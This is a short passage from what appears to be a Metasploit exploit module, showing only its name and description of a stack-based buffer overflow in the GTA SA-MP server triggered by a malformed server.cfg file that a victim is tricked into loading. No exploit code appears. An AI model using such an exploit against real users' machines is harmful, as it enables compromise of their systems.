'Name' => 'GTA SA-MP server.cfg Buffer Overflow',  
'Description' => %q{  
This module exploits a stack-based buffer overflow in GTA SA-MP Server.  
This buffer overflow occurs when the application attempts to open a malformed  
server.cfg file. To exploit this vulnerability, an attacker must send the  
victim a server.cfg file and have them run samp-server.exe.
